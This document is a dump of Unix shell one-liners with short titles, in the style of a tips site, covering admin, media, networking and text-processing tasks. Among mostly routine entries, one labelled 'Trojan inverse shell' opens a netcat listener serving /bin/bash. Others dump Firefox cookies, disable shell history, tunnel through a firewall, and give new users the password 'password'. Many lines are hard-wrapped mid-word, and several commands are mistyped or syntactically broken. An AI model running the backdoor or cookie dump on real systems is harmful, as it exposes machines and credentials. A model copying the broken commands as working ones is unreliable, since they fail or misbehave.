cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"

# Serve current directory tree at http://$HOSTNAME:8080/
twistd -n web --path .

# Check if a domain is available and get the answer in just one line
whois domainnametocheck.com | grep match

# copy file to clipboard
xclip file.txt

# Extract a remote tarball in the current directory without having to save it lo
cally
curl http://example.com/foo.tar.gz | tar zxvf -

# Google text-to-speech in local language or language of choice
say() { if [[ "${1}" =~ -[a-z]{2} ]]; then local lang=${1#-}; local text="${*#${1}
}"; else local lang=${LANG%_*}; local text="$*";fi; mplayer "http://translate.go
ogle.com/translate_tts?ie=UTF-8&tl=${lang}&q=${text}" &> /dev/null ; }

# Fast command-line directory browsing
function cdls { cd $1; ls; }

# make image semi-transparent
convert input.png -alpha set -channel A -fx 0.5 output.png

# Recording the desktop and an application audio source for webcast
ffmpeg -f alsa -ac 2 -i pulse -f xllgrab -r 30 -s 1024x768 -i :0.0 -acodec pcm_s
16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 ./Desktop/mydesktop.mkv

# Display any tcp connections to apache
for i in `ps aux | grep httpd | awk '{print $2}'`; do lsof -n -p $i | grep ESTAB
LISHED; done;

# Octal ls
ls -l | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/)*2^(8-i));if(k)
printf("%0o ",k);print}'

# determine if tcp port is open
nc -zw2 www.example.com 80 && echo open

# Watch for when your web server returns
watch -n 15 curl -s --connect-timeout 10 http://www.google.com/

# Signals list by NUMBER and NAME
kill -l

# Upload images to omploader.org from the command line.
```

```
ompload() { curl -# -F file1=@"$1" http://ompldr.org/upload|awk '/Info:|File:|Thumbnail:|BBCCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}

# Convert a bunch of HTML files from ISO-8859-1 to UTF-8 file encoding in a folder and all sub-folders
for x in `find . -name '*.html'` ; do iconv -f ISO-8859-1 -t UTF-8 $x > "$x.utf8"; rm $x; mv "$x.utf8" $x; done

# Record audio and video from webcam using mencoder
mencoder tv:// -tv driver=v4l2:width=800:height=600:device=/dev/video0:fps=30:outputfmt=yuy2:forceaudio:alsa:adevice=hw.2,0 -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800 -ffourcc xvid -oac mp3lame -lameopts cbr=128 -o output.avi

# List your MACs address
ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'

# Create an SSH connection (reverse tunnel) through your firewall.
ssh -R 2001:localhost:22 [username]@[remote server ip]

# find the 10 latest (modified) files
ls -lt | head -n10

# Check if network cable is plugged in and working correctly
mii-tool eth0

# find the biggest files recursively, no matter how many
find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls -laSr

# Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -cs a-z '\n' | sort | uniq -c

# (Debian/Ubuntu) Discover what package a file belongs to
dlocate /path/to/file

# Make the "tree" command pretty and useful by default
alias tree="tree -CAFa -I 'CVS|*.*.package|.svn|.git' --dirsfirst"

# Prevent shell autologout
unset TMOUT

# Getting information about model no. of computer
dmidecode | grep -i prod

# Find pages returning 404 errors in apache logs
awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head

# get a random command
ls /usr/bin | shuf -n 1

# Who needs pipes?
B <<< $(A)

# Remove all HTML tags from a file
sed "s/<[^>]\+//g" file

# combine `mkdir foo && cd foo` into a single function `mcd foo`
function mcd() { [ -n "$1" ] && mkdir -p "$@" && cd "$1"; }
```

```

# Remove today's Debian installed packages
grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq
| xargs apt-get -y remove

# Stream YouTube URL directly to mplayer.
ID=52DnUo6wJto;mplayer -fs $(echo "http://youtube.com/get_video.php?&video_id=$I
D$(wget -qO - 'http://youtube.com/watch?v='$ID | perl -ne 'print $1."&asv=" if /
^.*(t=.*)&.*$/; print "&fmt=". $1 if /^.*&fmt_map=(22).*$/')")

# Undo
[Ctrl+_]

# vimdiff local and remote files via ssh
vimdiff /path/to/file scp://remotehost//path/to/file

# Regex to remove HTML-Tags from a file
sed -e :a -e 's/<[^>]*>//g;/</N;//ba' index.html

# Use bash history with process substitution
<(!)

# CPU architecture details
lscpu

# Find out my Linux distribution name and version
lsb_release -a

# Display the history and optionally grep
h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; }

# Test file system performance
bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted dis
ck>

# Get absolut path to your bash-script
script_path=$(cd $(dirname $0);pwd)

# View and review the system process tree.
pstree -Gap | less -r

# Look for English words in /dev/urandom
head -100000 /dev/urandom | strings > temp.txt && for w in $(cat webster-diction
ary.txt); do if [ ${#w} -gt 3 ]; then grep -io $w temp.txt; fi; done

# Search $PATH for a command or something similar
find ${PATH}:// / } -name \*bash\*

# nagios wrapper for any script/cron etc
CMD="$1"; LOG="$2"; N_HOST="$3"; N_SERVICE="$4"; ${CMD} >${LOG} 2>&1; EX
ITSTAT=${?}; OUTPUT="$(tail -1 ${LOG})";echo "${HOSTNAME}:${N_SERVICE}:${EXITSTA
T}:${OUTPUT}" | send_nsca -H ${N_HOST} -d : -c /etc/nagios/send_nsca.cfg >/dev/n
ull 2>&1

# create directory and set owner/group/mode in one shot
install -o user -g group -m 0700 -d /path/to/newdir

# Quickly add user accounts to the system and force a password change on first l
ogin
for name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin
$name; chage -d 0 $name; done

```

```

# To Stop or Start (Restart) a Windows service from a Linux machine
net rpc -I indirizzoip -U nomeutente%password servizio {stop|start} nomeelservi
zio

# Show apps that use internet connection at the moment. (Multi-Language)
netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq

# aptitude easter eggs
aptitude moo

# mplayer webcam window for screencasts
mplayer -cache 128 -tv driver=v4l2:width=176:height=177 -vo xv tv:// -noborder -
geometry "95%:93%" -ontop

# Get the weather forecast for the next 24 to 48 for your location.
weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.x
ml?query=${@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^\<]+)/&&printf "%s: ",$1
;/<fcttext>([^\<]+)/&&print $1,"\n";}

# split a multi-page PDF into separate files
pdftk in.pdf burst

# Using NMAP to check if a port is open or close
nmap -oG - -T4 -p22 -v 192.168.0.254 | grep ssh

# Remove everything except that file
( shopt -s extglob; rm !(<PATTERN> )

# Unix commandline history substitution like ^foo^bar BUT for multiple replaceme
nts
!!:gs/Original/New/

# Look for English words in /dev/urandom
head -100000 /dev/urandom | strings|tr '[A-Z]' '[a-z]'|sort >temp.txt && wget -q
http://www.mavil.org/web_security/wordlists/webster-dictionary.txt -O-|tr '[A-Z
]' '[a-z]'|sort >temp2.txt&&comm -12 temp.txt temp2.txt

# Download from Rapidshare Premium using wget - Part 2
wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>

# Change string in many files at once and more.
find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak
-e 's/XXX/YYY/g'

# Using ASCII Art output on MPlayer
mplayer -vo aa <video file>

# See non printable characters like tabulations, CRLF, LF line terminators ( colo
red )
od -c <FILE> | grep --color '\\\.'

# cut audio file
ffmpeg -ss 00:00:30 -t 00:02:58 -i input.mp3 -acodec copy ouput.mp3

# a find and replace within text-based files, to locate and rewrite text en mass
.
find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'

```



```

# quickly backup or copy a file with bash
cp -bfS.bak filename filename

# Convert files from DOS line endings to UNIX line endings
fromdos *

# Generate random passwords (from which you may select "memorable" ones)
pwgen

# Let your computer lull you to sleep
echo {1..199}" sheep," | espeak -v english -s 80

# Empty a file
:> file

# Sort specific lines while editing within vi
:33,61 !sort

# Does a full update and cleaning in one line
sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo ap
t-get autoremove

# Releases Firefox of a still running message
rm ~/.mozilla/firefox/<profile_dir>/parentlock

# Check which files are opened by Firefox then sort by largest size.
FFPID=$(pidof firefox-bin) && lsof -p $FFPID | awk '{ if($7>0) print ($7/1024/10
24)" MB -- "$9; }' | grep ".mozilla" | sort -rn

# bash pause command
read -sn1 -p "Press any key to continue..."; echo

# Generate a random left-hand password
</dev/urandom tr -dc '12345!@#%$qwertQWERTasdfgASDFGzxcvbZXCVB' | head -c8; echo
""

# Smart renaming
ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh

# Delete all but latest file in a directory
ls -pt1 | sed '/.*\//d' | sed ld | xargs rm

# insert ip range using vim
:for i in range(1,255) | .put='192.168.0.'.i | endfor

# Monitor a file with tail with timestamps added
tail -f file | awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}'

# Upgrade all perl modules via CPAN
cpan -r

# Save man pages to pdf
man -t man | ps2pdf - > man.pdf

# Transfer large files/directories with no overhead over the network
ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar

# Display ncurses based network monitor
nload -u m eth0

```

```

# Watch the progress of 'dd'
dd if=/dev/zero | pv | dd of=/dev/null

# simulated text generator
tr -dc a-z0-9 </dev/urandom | tr 0-8 \ | tr 9 \n | sed 's/^[ \t]*//' | fm
t -u

# Summarize Apache Extended server-status to show longest running requests
links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Sec
onds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_./] {print $6, $2, $4
, $11, $12, $13 " " $14|"sort -n"}'

# Show a curses based menu selector
whiptail --checklist "Simple checkbox menu" 11 35 5 tag item status repeat tags
1

# Stop All Wine Apps and Processes
wineserver -k

# Copy your SSH public key on a remote machine for passwordless login.
cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys
'

# Renaming a file without overwriting an existing file name
mv -b old_file_name new_and_already_existent_file_name

# Get Futurama quotations from slashdot.org servers
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "
Bender|Fry" | sed "s/X-//"

# Convert file type to unix utf-8
ex some_file "+set ff=unix fileencoding=utf-8" "+x"

# create disk copy over the net without temp files
SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 12
34 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR
1 $(pgrep dd)

# take execution time of several commands
time { <command1> ; <command2> ; <command...> ; }

# Remove invalid key from the known_hosts file for the IP address of a host
ssh-keygen -R `host hostname | cut -d " " -f 4`

# Google Spell Checker
spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest
>" https://www.google.com/tbproxy/spell|sed -n 's="[0-9]"/{s/<[^>]*>/ /g;s/\t/
/g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*' ||echo -e "OK");}

# How many files in the current directory ?
find . -maxdepth 1 -type f | wc -l

# Compress executable files in place.
gzexe name ...

# 'Fix' a typescript file created by the 'script' program to remove control char
acters
cat typescript | perl -pe 's/\e([\[\]]|\.[*?[a-zA-Z]|\.[*?a])//g' | col -b > ty
pescript-processed

```

```
# Show the number of current httpd processes
pgrep -c httpd

# ionice limits process I/O, to keep it from swamping the system (Linux)
ionice -c3 find /

# Update zone file Serial numbers
sed -i 's/20[0-1][0-9]\{7\}/`date +%Y%m%dI`'/g' *.db

# Simplest way to get size (in bytes) of a file
du -b filename

# Terminal redirection
script -f /dev/pts/3

# Find all dot files and directories
echo .*

# do 'foo' until it exits successfully, pausing in between crashes
until foo some args; do echo "crashed: $? respawning..." >&2; sleep 10; done

# Show a passive popup in KDE
kdialog --passivepopup <text> <timeout>

# View Processes like a fu, fu
command ps -Hacl -F S -A f

# Get the total length of all videos in the current dir in H:m:s
mplayer -vo dummy -ao dummy -identify * 2>&1 | grep ID_LENGTH | sed 's/.*=\([0-9]*\)\/\1/' | xargs echo | sed 's/ /+/g' | bc | awk 'S=$1; {printf "%dh:%dm:%ds\n", S/(60*60), S%(60*60)/60, S%60}'

# Replace duplicate files by hardlinks
fdupes -r -l path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else ln -f ${line// ./} $file; fi; done; done

# Convert a flv video file to avi using mencoder
mencoder your_video.flv -oac mp3lame -ovc xvid -lameopts preset=standard:fast -x videncopts pass=1 -o your_video.avi

# 32 bits or 64 bits?
sudo lshw -C cpu|grep width

# String to binary
perl -nle 'printf "%0*v8b\n", " ", $_;'

# Find status of all symlinks
symlinks -r $(pwd)

# How to copy CD/DVD into hard disk (.iso)
dd if=/dev/cdrom of=whatever.iso

# use vi key bindings at the command line
set -o vi

# Trojan inverse shell
nc -l -p 2000 -e /bin/bash
```

```

# Load average + API google chart
limite="5";load5=$(awk '{print $1}' /proc/loadavg);echo "http://chart.apis.google.com/chart?chxr=0,0,5&chxt=y&chs=700x240&cht=gm&chds=0,"$limite"&chd=t:"$load5"&chl="$load5"&chtt=$(hostname)+load+average"

# Calculate md5 sums for every file in a directory tree
find . -type f -exec md5sum {} \; > sum.md5

# Get yesterday's date or a previous time
date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour'

# Search through files, ignoring .svn
find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>

# rapidshare download script in 200 characters
u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^\.*(http:\\/\\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^\.*(http:\\/\\/rs[^\\\]*).*$/$1/'`;sleep 60;wget $u

# Print a row of 50 hyphens
seq -s" " -50 -1 | tr -dc -

# Replace Solaris vmstat numbers with human readable format
vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk

# Show top SVN committers for the last month
svn log -r {'date +"%Y-%m-%d" -d "1 month ago"}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c

# Auto Rotate Cube (compiz)
wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f *-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0

# Do a command but skip recording it in the bash command history
_cd ~/nsfw; mplayer midget_donkey.mpeg

# Know which modules are loaded on an Apache server
apache2 -t -D DUMP_MODULES

# Clear filesystem memory cache
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches

# Changes standard mysql client output to 'less'.
echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf

# Prepare a commandlinefu command.
goclf() { type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo }

# Expand shortened URLs
expandurl() { curl -sIL $1 | grep ^Location; }

# List files above a given threshold
find . -type f -size +25000k -exec ls -lh {} \; | awk '{ print $8 ": " $5 }'

# concat multiple videos into one (and add an audio track)
cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null

```

```
# convert .bin / .cue into .iso image
bchunk IMAGE.bin IMAGE.cue IMAGE.iso

# Empty a file
truncate -s0 file

# tail: watch a filelog
tail -n 50 -f /var/log/apache2/access_log /var/log/apache2/error_log

# Hiding password while reading it from keyboard
save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_
state";echo "";echo "You inserted $password as password"

# convert a web page into a pdf
touch $2;firefox -print $1 -printmode PDF -printfile $2

# Show a Command's Short Description
whatis [command-name]

# Backup all MySQL Databases to individual files
mysql -e 'show databases' | sed -n '2,$p' | xargs -I DB 'mysqldump DB > DB.sql'

# Stream audio over ssh
ssh [user]@[address] "mpg321 -" < [file].mp3

# List installed deb packages by size
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n

# Show the PATH, one directory per line
printf ${PATH//:/\n}

# Changing the mac address
sudo ifconfig eth0 hw ether 00:01:02:03:04:05

# gpg decrypt a file
gpg --output foo.txt --decrypt foo.txt.gpg

# Google URL shortener
curl -s -d'url=URL' http://goo.gl/api/url | sed -e 's/{\"short_url\":\"//' -e 's/'
,\"added_to_history\":false}/\n/'

# Print IP of any interface. Useful for scripts.
ip route show dev ppp0 | awk '{ print $7 }'

# Synchronize both your system clock and hardware clock and calculate/adjust tim
e drift
ntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust

# Show GCC-generated optimization commands when using the "-march=native" or "-m
tune=native" switches for compilation.
cc -march=native -E -v - </dev/null 2>&1 | grep ccl

# Add a function you've defined to .bashrc
addfunction () { declare -f $1 >> ~/.bashrc ; }

# Create a single-use TCP proxy with debug output to stderr
socat -v tcp4-l:<port> tcp4:<host>:<port>

# Display which distro is installed
cat /etc/*release
```

```
# Retrieve the size of a file on a server
wget --spider $URL 2>&1 | awk '/Length/ {print $2}'

# Show line numbers in a text file
cat -n file.txt

# create a .avi with many .jpg
mencoder "mf://*.jpg" -mf fps=8 -o ./video.avi -ovc lavc

# run a command from within vi without exiting
:!  
<bash_command>

# add the result of a command into vi
:r!  
<bash_command>

# Convert .flv to .3gp
ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y out.3gp

# Copy a file over SSH without SCP
ssh HOST cat < LOCALFILE ">" REMOTEFILE

# let the cow suggest some commit messages for you
while true; do lynx --dump http://whatthecommit.com/ | head -n 1 | cowsay; sleep 2; done

# Have subversion ignore a file pattern in a directory
svn propset svn:ignore "*txt" log/

# find and delete empty directories recursively
find . -depth -type d -empty -exec rmdir -v {} +

# Install a LAMP server in a Debian based distribution
sudo tasksel install lamp-server

# Setup an ssh tunnel
ssf -f -N -L 4321:home.network.com:25 user@home.network.com

# get cookies from firefox
echo ".mode tabs select host, case when host glob '*' then 'TRUE' else 'FALSE' end, path, case when isSecure then 'TRUE' else 'FALSE' end, expiry, name, value from moz_cookies;" | sqlite3 ~/.mozilla/firefox/*.default/cookies.sqlite

# See most used commands
history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r

# check the status of 'dd' in progress (OS X)
killall -INFO dd

# List your largest installed packages (on Debian/Ubuntu)
dpigs

# Find the location of the currently loaded php.ini file
php -i | grep php.ini

# Highlight network TX, RX information change
watch -n 2 -d '/sbin/ifconfig eth0'
```

```
# Kill all processes belonging to a single user.
kill -9 `ps -u <username> -o "pid="`

# Remove empty directories
find . -type d -empty -delete

# Using numsum to sum a column of numbers.
numsum count.txt

# Capture video of a linux desktop
ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :
0.0 -sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg

# What is my public IP-address?
dig @208.67.222.222 myip.opendns.com

# grep binary (hexadecimal) patterns
grep -P "\x05\x00\xc0" mybinaryfile

# set your ssd disk as a non-rotating medium
sudo echo 0 > /sys/block/sdb/queue/rotational

# Set a Reminder for yourself via the notification system
sleep 6s && notify-send -t 10000 -u critical "remember to think" &

# Follow the flow of a log file
tailf file.log

# Do some Perl learning...
podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'

# Share your terminal session (remotely or whatever)
screen -x

# Always tail/edit/grep the latest file in a directory of timestamped files
tail -f /path/to/timestamped/files/file-*(om[1])

# Match a URL
egrep 'https?://([[:alpha:]])([-[:alnum:]]+[:alnum:])*\.)+[[:alpha:]]{2,3}(:\d+
)?(?:/([-w/_\.]*(\?S+)?))?'

# Ignore a directory in SVN, permanently
svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templa
tes_c"

# Erase a word
<CTRL+w>

# Join lines
tr "\n" " " < file

# View the newest xkcd comic.
eog `curl -s http://xkcd.com/ | sed -n 's/<h3>Image URL.*: \(.*)</h3>/\1/p`

# Rsync two directories with filtered extensions
rsync -rv --include '*' --include '*.txt' --exclude '*' srcDir/ desDir/

# colorize your svn diff
svn diff | vim -
```

```
# swap stdout and stderr
$command 3>&1 1>&2 2>&3

# List dot-files and dirs, but not . or ..
ls -A

# Read a keypress without echoing it
stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo

# Don't spam root. Log your cronjob output to syslog
*/5 * * * * root /usr/local/nagios/sbin/nsca_check_disk 2>&1 |/usr/bin/logger
-t nsca_check_disk

# diff files while disregarding indentation and trailing white space
diff -b $file1 $file2 # GNU Tools

# enumerate with padding
echo {001..5}

# Jump to line X in file in Nano.
nano +X foo

# useful tail on /var/log to avoid old logs or/and gzipped files
tail -f *![.1][!.gz]

# use mplayer to watch Apple Movie Trailer instead of quicktime player
mplayer -rtsp-stream-over-tcp -user-agent QuickTime/7.6.4 http://trailers.apple.
com/movies/HDmovie-h720p.mov

# Pack up some files into a tarball on a remote server without writing to the lo
cal filesystem
tar -czf - * | ssh example.com "cat > files.tar.gz"

# Batch rename extension of all files in a folder, in the example from .txt to .
md
mv "*" ".md"

# backup a directory in a timestamped tar.gz
tar -czvfv backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir

# Count the number of characters in each line
awk '{count[length]++;}END{for(i in count){printf("%d: %d\n", count[i], i)}}'
```

```
# Convert multiple files using avidemux
for i in `ls`;do avidemux --video-codec Xvid4 --load $i --save $i.mp4 --quit; d
one

# Unix alias for date command that lets you create timestamps in ISO 8601 format
alias timestamp='date "+%Y%m%dT%H%M%S"'

# send kernel log (dmesg) notifications to root via cron
(crontab -l; echo '* * * * * dmesg -c'; ) | crontab -

# Replicate a directory structure dropping the files
for x in `find /path/ -type d | cut -b bytesoffoldername`; do mkdir -p newpath/
$x; done

# Remotely sniff traffic and pass to snort
```



```

ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -
r -

# processes per user counter
ps aux |awk '{ $1 } { ++P[$1] } END { for(a in P) if (a != "USER") print a,P[a] }'

# See how many % of your memory firefox is using
ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'

# Binary Clock
watch -n 1 'date "+obase=2; print %H,\":\":\",%M,\":\":\",%S" |bc'

# Installing True-Type fonts
ttmkfdir mkfontdir fc-cache /usr/share/fonts/misc.ttf

# Mount a partition from within a complete disk dump
INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE"
"$MOUNTPT" -o loop,offset=${ ` /sbin/sfdisk -d "$INFILE" | grep "start=" | head -
n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//' ` * 512 ]

# Save your open windows to a file so they can be opened after you restart
wmctrl -l -p | while read line; do ps -o cmd= "$ (echo "$line" | awk '$0=$3')"; d
one > ~/.windows

# Apply substitution only on the line following a marker
sed '/MARKER/{N;s/THIS/THAT/}'

# Quick case-insensitive partial filename search
alias lg='ls --color=always | grep --color=always -i'

# Print Memory Utilization Percentage For a specific process and it's children
TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo
rss,comm | grep [h]ttptd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`
echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $P
ROC_PCT%"

# View details of network activity, malicious or otherwise within a port range.
lsof -i :555-7000

# generate random password
openssl rand -base64 6

# Find files that are older than x days
find . -type f -mtime +7 -exec ls -l {} \;

# Converts a single FLAC file with associated cue file into multiple FLAC files
cuebreakpoints "$2" | shnsplit -o flac "$1"

# run a VirtualBox virtual machine without a gui
VBoxHeadless -s <name|uuid>

# Forward port 8888 to remote machine for SOCKS Proxy
ssh -D 8888 user@site.com

# Sync the date of one server to that of another.
sudo date -s "$ (ssh user@server.com "date -u")"

# list processes with established tcp connections (without netstat)
lsof -i -n | grep ESTABLISHED

```

```
# List top ten files/directories sorted by size
du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh

# retab in vim, tab to space or space to tab, useful in python
:ret

# Convert images (jpg, png, ...) into a PDF
convert images*.* <my_pdf>.pdf

# Get the IP address of a machine. Just the IP, no junk.
/sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1

# create missing md5 for all files in directory
find . ! -name \*.md5 -exec 'md5sum "{}" > "{}".md5' \;

# Replace all in last command
!!:gs/data/index/

# batch convert Nikon RAW (nef) images to JPG
ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF

# Launch firefox on a remote linux server
ssh -fY user@REMOTESERVER firefox -no-remote

# Concating pdf files
pdftk inp1.pdf inp2.pdf inp3.pdf cat output out.pdf

# Add a Clock to Your CLI
export PS1="${PS1%\\$*}"' ' \t \> '

# Look for IPv4 address in files.
alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"

# Watch Data Usage on eth0
watch ifconfig eth0

# Lists installed kernels
ls -l /lib/modules

# Get all mac address
ip link show

# Produce a pseudo random password with given length in base 64
openssl rand -base64 <length>

# Change the window title of your xterm
echo ""^[]0;My_Title_Goes _Here^G"

# Don't save commands in bash history (only for current session)
unset HISTFILE

# Create MySQL-Dump, copy db to other Server and upload the db.
mysqldump -uUserName -pPassword tudb | ssh root@rootsvr.com "mysql -uUserName -p
Password -h mysql.rootsvr.com YourDBName"

# Dump dvd from a different machine onto this one.
ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso

# Insert a comment on command line for reminder
```

```

ls -alh #mycomment

# for too many arguments by *
echo *.log | xargs <command>

# Reboot as a different OS in Grub
echo "savedefault --default=2 --once" | grub --batch; sudo reboot

# Get the full path to a file
readlink -e /bin/ls

# 'hpc' in the box - starts a maximum of n compute commands modulo n controlled
in parallel
c=0; n=8; while true; do r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r& 2>&1
>/dev/null && ((c++)); [ `echo "$c%n" | bc` -eq 0 ] && echo "$c waiting" && wa
it; done

# Simplified video file renaming
for f in *;do mplayer $f;read $n;mv $f $n;done

# determine if tcp port is open
lsof -i :22

# detach remote console for long running operations
dtach -c /tmp/wires-mc mc

# convert pdf to graphic file format (jpg , png , tiff ... )
convert sample.pdf sample.jpg

# split and combine different pages from different pdf's
pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 outp
ut book.pdf

# Convert HH:MM:SS into seconds
echo 00:29:36 | awk -F: '{print ($1*3600)+($2*60)+$3}'

# Comment out a line in a file
sed -i '19375 s/^/#/' file

# simple backup with rsync
0 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory]

# find out how many days since given date
echo $(( ($(date +%s) - $(date +%s -d "march 1")) / 86400 ))

# Determining the exact memory usages by certain PID
pmap -d <<pid>>

# Reset terminal that has been buggered by binary input or similar
stty sane

# Test speaker channels
speaker-test -D plug:surround51 -c 6 -l 1 -t wav

# Random play a mp3 file
mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a[\"$RANDOM\" % NR]}'"`

# Save xkcd to a pdf with captions
curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1)
| convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\" pdf:- >
xkcd.pdf

# Record output of any command using 'tee' at backend; mainly can be used to cap
ture the output of ssh from client side while connecting to a server.
ssh user@server | tee logfile

# Dump root ext3 fs over ssh
dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"

# a simple bash one-liner to create php file and call php function
php -r 'echo str_rot13 ("Hello World");'

# Record live sound in Vorbis (eg for bootlegs or to take audio notes)
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100
--raw-bits=16 - > MyLiveRecording.ogg

# Takes all file except file between !()
rm !(file_to_keep_undeleted)

# purge installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii!d;/'"$(uname -r | sed "s/\(.*\) - \([0-9]\+\)/\1/"
)"/d;s/^[^ ]* [^ ]* \([^\ ]*\).*\/\1;/[0-9]/!d' | xargs sudo apt-get -y purge

# Sort the current buffer in vi or vim.
:%sort

# List .log files open by a pid
lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}'

# Testing php configuration
php -i

# Find default gateway
ip route | awk '/default/{print $3}'

# prints the parameter you used on the previous command
<alt+.>

# Remote copy directories and files through an SSH tunnel host
rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/

# Unix time to local time
date -R -d @1234567890

# Send a binary file as an attachment to an email
uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user
@example.com

# List files
Esc-/ Esc-/

# Download Apple movie trailers
wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo ht
tp://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9]\{0,2\}\)0p/h\10
p/'`

# Edit the Last Changed File
vim $( ls -lt | head -n1 )

```

```

# Remove all .svn folders
find . -depth -name .svn -type d -exec rm -fr {} \;

# Generate a random password 30 characters long
gpg --gen-random --armor 1 30

# Follow the most recently updated log files
ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f

# Get a regular updated list of zombies
watch "ps auxw | grep [d]efunct"

# RTFM function
rtfm() { help $@ || info $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }

# Update twitter via curl (and also set the "from" bit)
curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml

# Test network speed without wasting disk
dd if=/dev/zero bs=4096 count=1048576 | ssh user@host.tld 'cat > /dev/null'

# Terminal Keyboard Shortcut list
